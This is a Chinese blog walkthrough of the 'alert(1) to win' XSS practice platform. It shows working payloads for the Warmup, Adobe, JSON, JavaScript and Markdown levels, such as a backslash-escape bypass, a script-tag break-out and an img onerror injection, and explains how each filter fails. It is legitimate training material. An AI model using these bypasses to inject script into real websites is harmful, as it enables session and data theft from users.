码迷,mamicode.com
首页 > Windows程序 > 详细

【alert(1) to win】不完全攻略

时间:2018-05-24 18:58:15      阅读:395      评论:0      收藏:0      [点我收藏+]

标签:标签   UNC   bubuko   注释   string   转义   执行   san   目标   

alert(1) to win

一个练习XSS的平台,地址:https://alf.nu/alert1

Warmup(14)

给出了一段JavaScript代码

function escape(s) {
  return ‘<script>console.log("‘+s+‘");</script>‘;
}

对s没有任何校验,payload

");alert(1);("

或者

");alert(1);//

技术分享图片

 Adobe (15)

 代码如下

function escape(s) {
  s = s.replace(/"/g, ‘\\"‘);
  return ‘<script>console.log("‘ + s + ‘");</script>‘;
}

 

全局替换了 " 为 \" ,就是说转义了双引号而没有转义转义字符 \

payload如下

\");alert(1)//

技术分享图片

JSON (27)

function escape(s) {
  s = JSON.stringify(s);
  return ‘<script>console.log(‘ + s + ‘);</script>‘;
}

使用了JSON.stringify()函数对s进行处理,该函数会对双引号 " 和转义字符 \ 进行转义,没有对 < > ‘ / 字符进行处理。

payload如下

)</script><script>alert(1)//

闭合括号然后闭合script标签,创建一个新的script标签来执行alert(1),//注释掉多余的字符串

技术分享图片

JavaScript (15)

function escape(s) {
  var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘;
  console.log(url);

  var a = document.createElement(‘a‘);
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

这个有点意思,先上payload

%22);alert(1)//

url是放到a标签的href属性中执行的,href 属性用于指定超链接目标的 URL,是支持URL编码的,%22是双引号 " 的URL编码

构造出的a标签为

<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()执行的时候触发了alert(1)

 Markdown (31)

function escape(s) {
  var text = s.replace(/</g, ‘&lt;‘).replace(/"/g, ‘&quot;‘);
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, ‘<a href="$1">$1</a>‘);
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, ‘<img alt="$2" src="$1.gif">‘);
  return text;
}

第一行代码将所有 < " 字符进行了转义

第二行是将形如 http://S+ 的字符串改写为 <a href="http://S+">http://S+</a> (S+为匹配一个非空白字符一次或多次)

第三行将形如 [[a|b]] 的字符串改写为 <img alt="b" src="a.gif"> 

先放出payload

[[a|http://onerror=alert(1)//]]

该函数构造的结果为

<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

利用 // 来代替空格,href的起始 " 闭合alt的 ",在于 // 注释掉最后的 " 

 技术分享图片

 

【alert(1) to win】不完全攻略

标签:标签   UNC   bubuko   注释   string   转义   执行   san   目标   

原文地址:https://www.cnblogs.com/superkrissV/p/9084461.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!